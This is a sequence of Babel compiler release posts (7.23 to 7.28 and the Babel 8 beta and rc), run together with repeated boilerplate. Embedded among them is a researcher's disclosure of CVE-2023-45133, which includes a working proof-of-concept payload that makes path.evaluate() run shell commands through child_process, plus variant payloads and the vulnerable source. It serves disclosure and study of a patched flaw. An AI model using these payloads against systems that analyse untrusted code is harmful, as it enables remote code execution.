This is the last minor release of Babel 7, as we are getting ready to release Babel 8.0.0. Babel 8.0.0-rc is also out today: go try it out!

This release include support for defining transpilation targets in @babel/standalone through a data-target attribute on <script> elements. It also adds support for the @babel/core async API to @babel/standalone.

Both of these changes are meant to ease the migration from Babel 7 to Babel 8.

You can read the whole changelog on GitHub. If you are already using Babel 8 beta, all the new 7.28.0 features are included in v8.0.0-rc.1.

If you or your company want to support Babel and the evolution of JavaScript but aren't sure how, you can donate to us on our Open Collective and, better yet, work with us on the implementation of new ECMAScript proposals directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at team@babeljs.io if you'd like to discuss more!

Highlights​

@babel/standalone support for data-targets attribute (#17482)​

By default @babel/preset-env transforms your code all the way down to ES5. This is changing in Babel 8, where it will default to Browserslist's defaults query.

It is recommended to always specify your targets explicitly, already starting in Babel 7, so that your output will not change with the major upgrade. This new attribute makes it possible to do so when using @babel/standalone to automatically transform <script> tags:

<script src="https://unpkg.com/@babel/standalone/babel.min.js"></script>

<script type="text/babel" data-targets="firefox 97, chrome 102">
  const getMessage = () => "Hello World";
  document.getElementById("output").innerHTML = getMessage();
</script>

Note that Browserslist does not support specifying "current browser" as a target: it's your reponsability to pick old enough targets that your users' browsers are supported.

Babel 8.0.0-rc.1​

After years in the making, Babel 8 is finally ready. We are releasing it as 8.0.0-rc.1, so that more users can try it out and report problems before the final release. There are no further changes that we plan to introduce, unless due to feedback from users trying the latest pre-releases.

A guiding principle for the breaking changes we've introduced is that updating to Babel 8 should be easy: most of them have been already introduced in Babel 7 behind an option, so that you can start adapting your code before actually performing the update.

We've prepared some great resources to navigate through what's needed to upgrade from Babel 7 to Babel 8:

• a migration guide for Babel users;
• a migration guide for developers using Babel's API, such as Babel plugin authors or direct consumers of our AST;
• the website with the Babel 8 documentation, currently hosted at https://next.babeljs.io/ until Babel 8 becomes stable.

There are many breaking changes that hopefully will not impact our users, but of which we are incredibly excited about: an example is that Babel 8 will ship as an ESM-only package. We've been trying to figure out how to make this work for very long time, and finally with the require(esm) support shipped in Node.js 20 we are comfortable with not providing a CommonJS alternative.

You can also read the full changelog of each Babel 8 pre-release on GitHub.

This release includes support for babel.config.ts and babel.config.mts, the ES2026 Explicit Resource Management feature, the discard binding proposal, and the sourceType: "commonjs" option.

You can read the whole changelog on GitHub. If you are already using Babel 8 beta, all the new 7.28.0 features are included in v8.0.0-beta.1.

If you or your company want to support Babel and the evolution of JavaScript but aren't sure how, you can donate to us on our Open Collective and, better yet, work with us on the implementation of new ECMAScript proposals directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at team@babeljs.io if you'd like to discuss more!

Highlights​

Native support for babel.config.ts and babel.config.mts (#17392)​

Babel now supports babel.config.ts and babel.config.mts natively. We recommend using Node.js 24 for the best results.

If you are using Babel 8.0.0-beta.1, you can import typings directly from @babel/core and use them in your Babel config:

// Requires Babel 8.0.0-beta.1 or above
import type { ConfigAPI, InputOptions } from "@babel/core";
export default function babelConfig(api: ConfigAPI): InputOptions {
  return {
    assumptions: {
      noDocumentAll: true
    },
    presets: [
      [
        "@babel/preset-env",
        {
          targets: {
            node: "current",
          },
        },
      ],
      "@babel/preset-typescript",
    ],
  };
}

Explicit resource management enabled by default (#17346, #17355)​

{
  using handlerSync = openSync();
  await using handlerAsync = await openAsync();
  // handlerSync and handlerAsync will be disposed when the block exits
}

Explicit resource management, which was conditionally approved for Stage 4 during the May 2025 TC39 meeting, is now enabled by default in @babel/preset-env and @babel/parser.

If you were using the @babel/plugin-proposal-explicit-resource-management plugin and @babel/preset-env, you can now remove the plugin from your config.

If you used the explicitResourceManagement parser plugin, you can remove it from your config.

Discard binding (#17276)​

Babel supports transforming the discard binding proposal. Now you can use the void binding to indicate an unused variable or parameter:

{
  using void = new AcquireLock(mutex);
  // The mutex lock will be automatically disposed when the block exits
}

// A customized JSON serializer with bigint support
// The first parameter of the replacer is unused
JSON.stringify(input, (void, value) => {
  if (typeof value === "bigint") {
    return value.toString();
  } else {
    return value.toJSON();
  }
});

// Get a clone of the input object without property `z`
const { z: void, ...obj } = { x: 1, y: 2, z: 3 };
obj; // { x: 1, y: 2 }

You can enable it by adding the @babel/plugin-proposal-discard-binding plugin to your Babel config.

export default {
  plugins: [
    ["@babel/plugin-proposal-discard-binding", { syntaxType: "void" }]
  ]
}

Note that the proposal might still change to use a different syntax: as such, the syntaxType option is required and currently its only valid value is "void".

sourceType: "commonjs" (#17390)​

The "commonjs" mode indicates that the code should be run in a CommonJS environment such as Node.js. It is similar to the "script" mode, but it allows return, new.target, and using/await using declarations at the top level.

export default {
  // Specify commonjs sourceType for all `*.cjs` sources
  overrides: [
    {
      test: "*.cjs",
      sourceType: "commonjs"
    }
  ]
}

You should use sourceType: "commonjs" when using CommonJS-specific syntax, and sourceType: "script" when writing non-module <script>s.

All the breaking changes we were planning to include in Babel 8 are done, and we have removed a lot of the technical debt we've accumulated over the years and were unable to remove during Babel 7's lifetime.

We now need to test it in real projects to make sure we got everything right. We have been transpiling our own code using Babel 8 since early alpha versions, but one prerelease user is not enough. 😉

Babel 8 Beta: highlights​

So, what are the main changes that are coming in Babel 8? We have a truly marvelous list of them, which unfortunately this blog's margin is too narrow to contain.

A guiding principle for the breaking changes we've introduced is that updating to Babel 8 should be easy: most of them have been already introduced in Babel 7 behind an option, so that you can start adapting your code before actually performing the update.

We've prepared some great resources to navigate through what's needed to upgrade from Babel 7 to Babel 8:

• a migration guide for Babel users;
• a migration guide for developers using Babel's API, such as Babel plugin authors or direct consumers of our AST;
• the website with the Babel 8 documentation, currently hosted at https://next.babeljs.io/ until Babel 8 becomes stable.

There are many breaking changes that hopefully will not impact our users, but of which we are incredibly excited about: an example is that Babel 8 will ship as an ESM-only package. We've been trying to figure out how to make this work for very long time, and finally with the require(esm) support shipped in Node.js 20 we are comfortable with not providing a CommonJS alternative.

You can also read the full changelog of each Babel 8 Alpha release on GitHub.

What's next?​

A beta release is obviously not a finish line, but a milestone along the path. Before releasing Babel 8 stable (or a release candidate), we're planning to:

• work with the main projects that integrate Babel, to make sure their users can easily update to Babel 8
• separate our Babel 8 code from the Babel 7 code. They currently live in the same branch, with code specific to each version gated by compile-time feature flags, but there are some remaining tasks that cannot be done this way

And obviously... fix the bugs we introduced! If you can, please test Babel 8 beta, and give us feedback by reporting bugs as GitHub issues.

This release doesn't include any significant new feature, but it better aligns Babel's behavior with standard JavaScript and other tools.

The code printer will now also print the correct import attributes syntax by default, rather than expecting its users to explicitly enable an option for it.

We also tweaked the behavior of @babel/preset-typescript's rewriteImportExtensions option, to fix some differences when compared to TypeScript's --rewriteRelativeImportExtensions.

Lastly, we updated our estree compatibility plugin in @babel/parser to generate AccessorProperty nodes for accessor foo = "val" class properties, introduced by the decorators stage 3 proposal. Note that, for legacy compatibility reasons, @babel/parser only generates an ESTree-compatible AST for class features when the classFeatures option of the estree plugin is enabled.

There are multiple changes that may benefit plugin authors: you can read the whole changelog on GitHub.

If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our Open Collective and, better yet, work with us on the implementation of new ECMAScript proposals directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at team@babeljs.io if you'd like to discuss more!

Highlights​

rewriteImportExtensions tweaks (#17118)​

Babel 7.26.0 added support for dynamic import() when using the rewriteImportExtensions option of @babel/preset-typescript, to align with TypeScript's new rewriteRelativeImportExtensions.

However, we then found a difference when it comes to handling non-relative paths: Babel would rewrite import("/foo/bar/baz.ts") to import("/foo/bar/baz.js"), while TypeScript would leave it as-is. As Babel's goal is to mirror TypeScript's option when possible, we consider this difference to be a bug and we are fixing it in Babel 7.27.0.

Print import attributes by default (#16977)​

Babel first implemented import attributes years ago, when the proposal was still called "module attributes" and had a different syntax:

import data from "./data.json" with type: "json";

When we shipped standards-compliant import attributes, we kept the existing generator behavior. This means that when printing the following AST:

ImportDeclaration {
  specifiers: [],
  source: StringLiteral("./data.json"),
  attributes: [
    ImportAttribute { key: Identifier("type"), value: StringLiteral("json") }
  ]
}

we would generate import "./data.json" with type: "json" instead of import "./data.json" with { type: "json" }.

@babel/generator will not generate import "./data.json" with { type: "json" }, to match standard JavaScript syntax. It will keep generating the old syntax when either:

• The importAttributesKeyword option is set to "with-legacy"
• The AST has been generated by parsing the old syntax, which will define a .extra.deprecatedWithLegacySyntax: true property on the ImportDeclaration node.

It enables by default support of two ECMAScript proposals that become standard in the last TC39 meeting, import attributes and inline regular expression modifiers, as well as parsing of Flow enums.

Babel now also allows plugins to provide asynchronous pre/post hooks, and has an [experimental mode](TODO: Link) to preserve tokens' positions when generating the transformed output.

You can read the whole changelog on GitHub.

If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our Open Collective and, better yet, work with us on the implementation of new ECMAScript proposals directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at team@babeljs.io if you'd like to discuss more!

Highlights​

Inline RegExp modifiers (#16692)​

Inline regular expression modifiers allow enabling or disabling the i/m/s flags for just part of a regular expression. For example, /hello (?i:world)/ matches any string that contains "hello " as-is, followed by "world" with any casing: hello world and hello WoRlD match, while Hello world does not.

The proposal reached Stage 4 in the October 2024 TC39 meeting, and will be included in the next version of the JavaScript standard. @babel/preset-env will now automatically transpile this feaatures based on your compilation targets, and you can safely remove @babel/plugin-proposal-regexp-modifiers from your config.

If for any reason you still need to explicitly list the plugin, it has now been renamed to @babel/plugin-transform-regexp-modifiers as the proposal became a standard langauge feature.

Import attributes (#16579)​

The import attributes proposal also reached Stage 4 in the October 2024 TC39 meeting. It supports providing some parameters to the underlying platform indicating how to load modules:

import "./my-module" with { some_param: "hello" };

Currently, the only widely supported attribute is type, which can be used to import JSON or (on the web) CSS modules:

import data from "./data" with { type: "json" };

Babel will now parse import attributes by default, so you can safely remove @babel/plugin-syntax-import-attributes and @babel/plugin-syntax-import-assertions from your configuration.

Since it become a standard JavaScript feature, @babel/plugin-proposal-json-modules has now been renamed to @babel/plugin-transform-json-modules. Note that this plugin is not included in @babel/preset-env, as you'll only want to use it if you are not using a bundler or if your bundler does not support importing JSON modules.

Rewriting .ts extensions in dynamic import() (#16794)​

Babel has supported rewriting .ts extensions to .js in import declarations since last year, using the rewriteImportExtensions option of @babel/preset-typescript:

// Input
import { hello } from "./dep.ts";
let myVar: number = hello();

// Output
import { hello } from "./dep.js";
let myVar = hello();

We are happy to see that TypeScript is introducing a similar option. However, there is a difference: Babel only used to transform paths in static import declarations (since they are the only ones that can always be statically analysed), while TypeScript will also support rewriting it in dynamic import expressions.

Babel 7.26 aligns to TypeScript's future behavior, by also rewriting extensions in dynamic import():

// Input
await import("./dep.ts");
await import(url);

// Output
await import("./dep.js");
await import(url.replace(/\.ts$/, ".js")); // simplified

@babel/preset-env now supports the duplicated named capturing groups proposal for Regular Expressions by default, as well as a bugfix for class fields when targeting Safari. This version also improves support for compiling JSON module imports to CommonJS, and adds support for config files to @babel/node's --eval mode.

You can read the whole changelog on GitHub.

If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our Open Collective and, better yet, work with us on the implementation of new ECMAScript proposals directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at team@babeljs.io if you'd like to discuss more!

Highlights​

Duplicated named capturing groups (#16445)​

The duplicated named capturing groups proposal allows re-using the same name for groups in alternative branches within a regular expression. For example, a RegExp that matches dates either in the dd/mm/yyyy or yyyy-mm-dd format could be written as

let re =
  /(?<day>\d\d)\/(?<month>\d\d)\/(?<year>\d\d\d\d)|(?<year>\d\d\d\d)-(?<month>\d\d)-(?<day>\d\d)/;

"21/12/2023".match(re).groups.day; // 21
"2023-12-21".match(re).groups.day; // 21

The proposal reached Stage 4 in the April 2024 TC39 meeting, and will be included in the next version of the JavaScript standard. It is thus now enabled by default in @babel/preset-env (when needed based on your targets), and you can safely remove @babel/plugin-proposal-duplicate-named-capturing-groups-regex from your configuration.

If for any reason you still need to explicitly list the plugin, it has now been renamed to @babel/plugin-transform-duplicate-named-capturing-groups-regex as the proposal became a standard language feature.

Simplify JSON modules imports in CommonJS (#16579)​

After introducing support for transforming JSON modules imports in Babel 7.24.0, we realized that the generated output was not friendly to CommonJS bundlers.

Given this code:

import myConfig from "./config.json" with { type: "json" };

@babel/plugin-proposal-json-modules would compile it to the following, when targeting CommonJS on Node.js:

const myConfig = JSON.parse(
  require("fs").readFileSync(require.resolve("./config.json"))
);

The JSON.parse + readFileSync combination is necessary to ensure that config.json is indeed a JSON file, and not a config.json.js file trying to sneakily execute some code while being loaded.

@babel/plugin-proposal-json-modules has now an uncheckedRequire option to simplify the output, at the cost of less validation. You can enable it in your configuration:

{
  "plugins": [
    ["@babel/plugin-proposal-json-modules", { "uncheckedRequire": true }]
  ]
}

and Babel will generate the following code:

const myConfig = require("./config.json");

@babel/plugin-bugfix-safari-class-field-initializer-scope (#16569)​

Safari versions older than 16 have a bug when using parentheses around expressions in class fields. For example, the following code would throw an error:

{
  let a = [3];
  new class {
    c = (a)[0];
  };
}

This is especially problematic when using Webpack or when compiling to CommonJS, as they add parentheses when transforming imports. For example, this input code:

import { hello } from "./dep";

class A {
  prop = hello();
}

would become

var _dep = /* ... */;

class A {
  prop = (0, _dep.hello)();
}

David Taylor implemented a fix (thanks!) in the new @babel/plugin-bugfix-safari-class-field-initializer-scope package, which is enabled by default in @babel/preset-env when your targets include Safari versions older than 16.

We updated our Decorators implementation to match the latest version of the proposal, and we improved the way we transform class private fields and methods. We also added support for importing JSON modules in browsers and Node.js, an older Stage 3 proposal depending on Import Attributes.

You can read the whole changelog on GitHub.

If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our Open Collective and, better yet, work with us on the implementation of new ECMAScript proposals directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at team@babeljs.io if you'd like to discuss more!

Highlights​

Decorators updates (#16242)​

The decorators Stage 3 proposals received many minor updates in the past years, and unfortunately all the implementations in the various tools implement slightly different versions of it.

We updated our implementation to match the latest version of the proposal. This version has also been implemented in TypeScript and is currently being implemented natively in browsers. The main difference compared to the 2023-05 version previously implemented is in the execution order of initializers registered through the context.addInitializer method.

You can enable this version of the proposal by setting the "version": "2023-11" option in @babel/plugin-proposal-decorators:

{
  "plugins": [
    ["@babel/plugin-proposal-decorators", {
      "version": "2023-11"
    }]
  ]
}

You can also try the new decorators proposal in the online Babel REPL.

JSON modules imports (#15829, #15870)​

Babel 7.24.0 finally adds support for the JSON modules proposal, that has been in Stage 3 since 2021. This proposal allows directly importing JSON files using import declarations together with a type: "json" import attribute:

import myConfig from "./config.json" with { type: "json" };

Babel will transform those imports to the appropriate way of loading JSON files in your target platform(s), according to your targets option:

• Modern browsers

  const myConfig = await fetch(import.meta.resolve("./config.json"))
                          .then(r => r.json());
  

• Older browsers without import.meta support
• Node.js (ESM)
• Node.js (CommonJS)

  const myConfig = JSON.parse(
    require("fs").readFileSync(require.resolve("./config.json"))
  );
  

• Various combinations of the above

You can enable it using the @babel/plugin-proposal-json-modules plugin:

{
  "targets": ["chrome 90", "firefox 90", "node 20.6"],
  "plugins": ["@babel/plugin-proposal-json-modules"]
}

A Hermes-based Flow parser (#16284)​

Babel implemented support for parsing and transforming Flow type annotations very long time ago, but in the past year we haven't done a very good job at keeping up with new Flow language features.

In the meanwhile, the Hermes team has been working on a Babel plugin, babel-plugin-syntax-hermes-parser, that lets you directly use Hermes, React Native's new JavaScript engine, to parse Flow code. It supports all the latest Flow features, such as as type casts and conditional types.

You can now more easily enable this parser using @babel/preset-flow's experimental_useHermesParser option:

{
  "presets": [
    ["@babel/preset-flow", {
      "experimental_useHermesParser": true
    }]
  ]
}

We are exploring the possibility of dropping Flow support from @babel/parser in a future release, in favor of this Hermes-based parser. Please test it out, report any parsing bugs in Hermes' bug tracker and tell us about your experience!

Those who use Babel for reverse engineering/code deobfuscation love using Babel because of all of the built in functionality it provides. One of the most useful features is the ability to statically evaluate expressions using path.evaluate() and path.evaluateTruthy(). I have written about this in the previous articles:

• Constant Folding
• A Peculiar JSFuck-style Case

Wait, did I say statically evaluate?

The Exploit​

Before delving into the details, let’s take a look at the proof of concept I came up with:

Proof of Concept​

const parser = require("@babel/parser");
const traverse = require("@babel/traverse").default;

const source = `String({  toString: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")});`;

const ast = parser.parse(source);

const evalVisitor = {
  Expression(path) {
    path.evaluate();
  },
};

traverse(ast, evalVisitor);

This simply outputs the result of the id command to the terminal, as can be seen below.

┌──(kali㉿kali)-[~/Babel RCE]
└─$ node exploit.js
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),111(bluetooth),115(scanner),138(wireshark),141(kaboxer),142(vboxsf)

Of course, the payload can be adapted to do anything, such as exfiltrate data or spawn a reverse shell.

Exploit Breakdown​

To understand why this vulnerability works, we need to understand the source code of the culprit function, evaluate. The source code of babel-traverse/src/path/evaluation.ts prior to the fix is archived here

/**
 * Walk the input `node` and statically evaluate it.
 *
 * Returns an object in the form `{ confident, value, deopt }`. `confident`
 * indicates whether or not we had to drop out of evaluating the expression
 * because of hitting an unknown node that we couldn't confidently find the
 * value of, in which case `deopt` is the path of said node.
 *
 * Example:
 *
 *   t.evaluate(parse("5 + 5")) // { confident: true, value: 10 }
 *   t.evaluate(parse("!true")) // { confident: true, value: false }
 *   t.evaluate(parse("foo + foo")) // { confident: false, value: undefined, deopt: NodePath }
 *
 */

export function evaluate(this: NodePath): {
  confident: boolean;
  value: any;
  deopt?: NodePath;
} {
  const state: State = {
    confident: true,
    deoptPath: null,
    seen: new Map(),
  };
  let value = evaluateCached(this, state);
  if (!state.confident) value = undefined;

  return {
    confident: state.confident,
    deopt: state.deoptPath,
    value: value,
  };
}

When evaluate is called on a NodePath, it goes through the evaluatedCached wrapper, before reaching the _evaluate function which does all the heavy lifting. The _evaluate function is where the vulnerability lies.

This function is responsible for recursively breaking down AST nodes until it reaches an atomic operation that can be evaluated confidently. The majority of the base cases are evaluated for atomic operations only (such as for binary expressions between two literals). However, there are a few exceptions to this rule.

The two pieces of the source code we care about are the handling of call expressions and object expressions, as shown below:

Vulnerable Source Code​

const VALID_OBJECT_CALLEES = ["Number", "String", "Math"] as const;
const VALID_IDENTIFIER_CALLEES = [
  "isFinite",
  "isNaN",
  "parseFloat",
  "parseInt",
  "decodeURI",
  "decodeURIComponent",
  "encodeURI",
  "encodeURIComponent",
  process.env.BABEL_8_BREAKING ? "btoa" : null,
  process.env.BABEL_8_BREAKING ? "atob" : null,
] as const;

const INVALID_METHODS = ["random"] as const;

function isValidObjectCallee(
  val: string
): val is (typeof VALID_OBJECT_CALLEES)[number] {
  return VALID_OBJECT_CALLEES.includes(
    // @ts-expect-error val is a string
    val
  );
}

function isValidIdentifierCallee(
  val: string
): val is (typeof VALID_IDENTIFIER_CALLEES)[number] {
  return VALID_IDENTIFIER_CALLEES.includes(
    // @ts-expect-error val is a string
    val
  );
}

function isInvalidMethod(val: string): val is (typeof INVALID_METHODS)[number] {
  return INVALID_METHODS.includes(
    // @ts-expect-error val is a string
    val
  );
}

function _evaluate(path: NodePath, state: State): any {
  /** snip **/
  if (path.isObjectExpression()) {
    const obj = {};
    const props = path.get("properties");
    for (const prop of props) {
      if (prop.isObjectMethod() || prop.isSpreadElement()) {
        deopt(prop, state);
        return;
      }
      const keyPath = (prop as NodePath<t.ObjectProperty>).get("key");
      let key;
      // @ts-expect-error todo(flow->ts): type refinement issues ObjectMethod and SpreadElement somehow not excluded
      if (prop.node.computed) {
        key = keyPath.evaluate();
        if (!key.confident) {
          deopt(key.deopt, state);
          return;
        }
        key = key.value;
      } else if (keyPath.isIdentifier()) {
        key = keyPath.node.name;
      } else {
        key = (
          keyPath.node as t.StringLiteral | t.NumericLiteral | t.BigIntLiteral
        ).value;
      }
      const valuePath = (prop as NodePath<t.ObjectProperty>).get("value");
      let value = valuePath.evaluate();
      if (!value.confident) {
        deopt(value.deopt, state);
        return;
      }
      value = value.value;
      // @ts-expect-error key is any type
      obj[key] = value;
    }
    return obj;
  }

  /** snip **/
  if (path.isCallExpression()) {
    const callee = path.get("callee");
    let context;
    let func;

    // Number(1);
    if (
      callee.isIdentifier() &&
      !path.scope.getBinding(callee.node.name) &&
      (isValidObjectCallee(callee.node.name) ||
        isValidIdentifierCallee(callee.node.name))
    ) {
      func = global[callee.node.name];
    }

    if (callee.isMemberExpression()) {
      const object = callee.get("object");
      const property = callee.get("property");

      // Math.min(1, 2)
      if (
        object.isIdentifier() &&
        property.isIdentifier() &&
        isValidObjectCallee(object.node.name) &&
        !isInvalidMethod(property.node.name)
      ) {
        context = global[object.node.name];
        // @ts-expect-error property may not exist in context object
        func = context[property.node.name];
      }

      // "abc".charCodeAt(4)
      if (object.isLiteral() && property.isIdentifier()) {
        // @ts-expect-error todo(flow->ts): consider checking ast node type instead of value type (StringLiteral and NumberLiteral)
        const type = typeof object.node.value;
        if (type === "string" || type === "number") {
          // @ts-expect-error todo(flow->ts): consider checking ast node type instead of value type
          context = object.node.value;
          func = context[property.node.name];
        }
      }
    }

    if (func) {
      const args = path
        .get("arguments")
        .map((arg) => evaluateCached(arg, state));
      if (!state.confident) return;

      return func.apply(context, args);
    }
  }
  /** snip **/
}

Handling of Call Expressions​

The first thing to understand is that while call expressions can indeed be evaluated, they are subject to a whitelist check, relying on the VALID_OBJECT_CALLEES or VALID_IDENTIFIER_CALLEES arrays.

Additionally, there are three cases for handling call expressions:

1. When the callee is an identifier, and the identifier is whitelisted in VALID_OBJECT_CALLEES or VALID_IDENTIFIER_CALLEES.
2. When the callee is a member expression, the object is an identifier, the identifier is whitelisted in VALID_OBJECT_CALLEES, and the property is not blacklisted in INVALID_METHODS.
3. When the callee is a member expression, the object is a literal, and the property is a string/numeric literal.

The most interesting one is the second case:

if (
  object.isIdentifier() &&
  property.isIdentifier() &&
  isValidObjectCallee(object.node.name) &&
  !isInvalidMethod(property.node.name)
) {
  context = global[object.node.name];
  // @ts-expect-error property may not exist in context object
  func = context[property.node.name];
}

/** snip **/
if (func) {
  const args = path.get("arguments").map((arg) => evaluateCached(arg, state));
  if (!state.confident) return;

  return func.apply(context, args);
}

The only blacklisted method is random, which is a method of the Math object. This means that any other method of either the whitelisted Number, String, or Math objects can be directly referenced.

In JavaScript, all classes are functions. Since Number and String are global JavaScript classes, their constructor property points to the Function constructor.

Therefore, the two expressions below are equivalent:

Number.constructor('javascript_code_here;');
Function('javascript_code_here;');

Passing in an arbitrary string to the Function constructor returns a function that will evaluate the provided string as JavaScript code when called.

The AST node generated by Number.constructor('javascript_code_here;') contains:

• A call expression, where
  • The callee is a member expression, where
    • The object is an identifier, with name whitelisted by VALID_OBJECT_CALLEES
    • The property is an identifier, not blacklisted by INVALID_METHODS
  • The arguments are a single string literal, containing the code to be executed.

Therefore, the code is considered safe to evaluate, and we have successfuly crafted a malicious function.

However, it is crucial to note that this cannot call the function on its own. It only creates an anonymous function.

So, how exactly can we call the function? This is where the second piece of the puzzle comes in: object expressions.

Handling of Object Expressions​

Within Babel’s _evaluate method, an ObjectExpression node undergoes recursive evaluation, producing a true JavaScript object. There’s no limitation on key names for ObjectProperty. As long as every ObjectProperty child in the ObjectExpression yields confident: true from _evaluate(), we can obtain a JavaScript object with custom keys/values.

A key property to leverage is toString (MDN Reference). Defining this property on an object to a function we control will allow us to execute arbitrary code when the object is converted to a string.

This is exactly what we do in the payload:

String(({  toString: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")}));

We’ve assigned our malicious function, crafted via the Function constructor, to the toString property of the object. Thus, when this object undergoes a string conversion, it gets triggered and executed.

In the provided example, we pass the object to the String function, given its status as a whitelisted function (referenced in case 1). Still, the String constructor isn’t mandatory. Implicit type coercion in JavaScript can also trigger our malicious function, as demonstratedin these alternative payload formats:

""+(({  toString: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")}));

1+(({  valueOf: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")}));

The first example employs type-coercion to transform the object into a string. In contrast, the second example utilizes type-coercion to convert it into a number, as detailed in Object.prototype.valueOf(). Both examples exploit the _evaluate() method’s approach to handling BinaryExpression nodes, which directly performs the operation after recursively evaluating the left and right operands.

The Patch​

Upon disclosing this vulnerability, I was impressed by the swift response from the Babel team, who promptly rolled out a patch. This patch was released in two parts:

The first of which was a workaround for all of the affected official Babel packages, by guarding the calls to evalute() with an isPure() check. isPure inherently prevents this bug, as it returns false for all MemberExpression nodes. PR #16032: Update babel-polyfills packages

The subsequent step involved refining the evaluate() function. This adjustment ensured that all inherited methods, not only constructor, were prevented from being called. PR #16033: Only evaluate own String/Number/Math methods

After the fixes were implemented, GitHub staff issued CVE-2023-45133 for the security advisory.

A side note on disclosure timing​

You might have noticed that this blog post was released on the same day as the security advisory. Usually for critical vulnerabilities, it’s customary to wait a while before disclosing a proof of concept. However, I believe this disclosure timing is justifiable for a few reasons:

Predominantly, the vast majority of Babel users remain unaffected by this vulnerability. Babel is primarily utilized for refactoring and transpiling one’s own code, which means the typical use case doesn’t expose users to this risk. It’s improbable that many have server-side implementations that accept and process arbitrary code from users through the compilation plugins or the invocation of path.evaluate. Furthermore, there are really only a couple real use-cases for using Babel to analyze untrusted code on the server-side:

1. Reverse engineering bot mitigation software, etc.
2. Malware analysis

In the first case, I doubt any legitimate bot mitigation entity would try to attempt Remote Code Execution (RCE) due to the legal ramifications. Meanwhile, professionals using Babel for malware reversal possess the expertise to conduct their analyses within controlled, sandboxed environments. Thus, the risk to the community, in real-world scenarios, remains minimal.

Conclusion​

Discovering and delving into this vulnerability was a fun experience. I initially stumbled upon the vulnerability during a brainstorming session for a Babel-based challenge for UofTCTF’s upcoming capture the flag competition, where I was focusing on an entirely different, non-security-related “bug”.

This vulnerability predominantly impacts those integrating untrusted code with Babel. Unfortunately, this places individuals leveraging Babel for “static deobfuscation” directly in the crosshairs of this attack vector.

There’s a touch of irony in the fact that my first credited CVE emerged from reverse engineering Babel - the very tool I often employ for reverse engineering JavaScript, and the topic of all of my previous posts 🤣.

This was a great learning experience, and hopefully this write-up was useful to you as well. Thanks for reading, and take care!

References​

• CVE-2023-45133
• GitHub Advisory Database: Arbitrary code execution when compiling specifically crafted malicious code

It includes transform support for the Decorator Metadata, Source Phase Import, Deferred Import Evaluation, and Optional Chaining Assignment proposals. We also updated our parser to support the new TypeScript 5.2 version, and added a transform option to let you use the .ts extension within TypeScript imports.

In addition to releasing version 7.23.0, we also recently published the first Babel 8 alpha release!

You can read the whole changelog on GitHub.

If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our Open Collective and, better yet, work with us on the implementation of new ECMAScript proposals directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at team@babeljs.io if you'd like to discuss more!

Highlights​

Decorator Metadata (#15895)​

The decorator metadata Stage 3 proposal extends the Decorator proposal, allowing decorators to communicate with each other by sharing some metadata.

function write(_, context) {
  context.metadata.message = "Hello from writer!";
}
function read(_, context) {
  console.log(context.metadata.message);
}

@read // Logs "Hello from writer!"
class A {
  @write x;
}

While we usually have one plugin per proposal, these two proposals are so closely related that we decided to include support for Decorator Metadata directly in @babel/plugin-proposal-decorators. If you are on the latest version of Babel and you are already using standard-track decorators, this proposal is enabled by default.

Source Phase Imports for WebAssembly modules (#15829, #15870)​

The Source Phase Import Stage 3 proposal allows importing an object representation of the source of a module, without evaluating it and without loading its dependencies. You can load module sources using the import source syntax, for languages that have a defined source representation:

import source fooSource from "foo";

The motivating use case is to have static syntax to load WebAssembly.Module objects, rather than being forced to do so dynamically:

// Before
const url = import.meta.resolve("./my-wasm/module.wasm");
const responsePromise = fetch(url);
const mod = await WebAssembly.compileStreaming(responsePromise);

// After
import source mod from "./my-wasm/module.wasm";

Babel now supports transforming source imports for WebAssembly modules targeting Node.js, Web-compatible environments (browsers and Deno), or both, depending on your configured targets.

You can transform it using the @babel/plugin-proposal-import-wasm-source plugin:

{
  "targets": ["chrome 90", "firefox 90", "node 20.6"],
  "plugins": ["@babel/plugin-proposal-import-wasm-source"]
}

Deferred Import Evaluation (#15845, #15878)​

The Deferred Import Evaluation Stage 2 proposal allows deferring the (synchronous) evaluation of imported modules until they are used. This can greatly improve the startup performance of your code when using modules that have a significant initialization cost.

You can use the new import defer syntax to defer your imports:

// this line does not evaluate ./mod
import defer * as myMod from "./mod";


later(() => {
  // this one evaluates it!
  use(myMod.foo);
})

The import defer syntax only support namespace imports, so the following is not valid:

import defer modDefault from "./mod";
import defer { named } from "./mod";

Babel only supports compiling import defer when compiling ECMAScript modules to CommonJS, using the @babel/plugin-proposal-import-defer plugin:

// babel.config.json
{
  "plugins": [
    "@babel/plugin-transform-modules-commonjs",
    "@babel/plugin-proposal-import-defer"
  ]
}

If you are using Babel with a bundler and thus you are not compiling modules via Babel, if your bundler supports import defer you can use @babel/plugin-syntax-import-defer to allow parsing the new syntax.

Optional Chaining Assignment (#15751)​

The Optional Chaining Assignment Stage 1 proposal allows using optional chaining on the left side of assignment operators:

maybeAnObj?.prop = theValue;

// Equivalent to

if (maybeAnObj != null) maybeAnObj.prop = theValue;

This proposal is championed by Nicolò Ribaudo, a member of the Babel team, and we are already implementing it at Stage 1 to gather feedback that can help the design process in TC39. If you have any comments, or any real-world examples or use cases you can share, please leave them in the proposal repository!

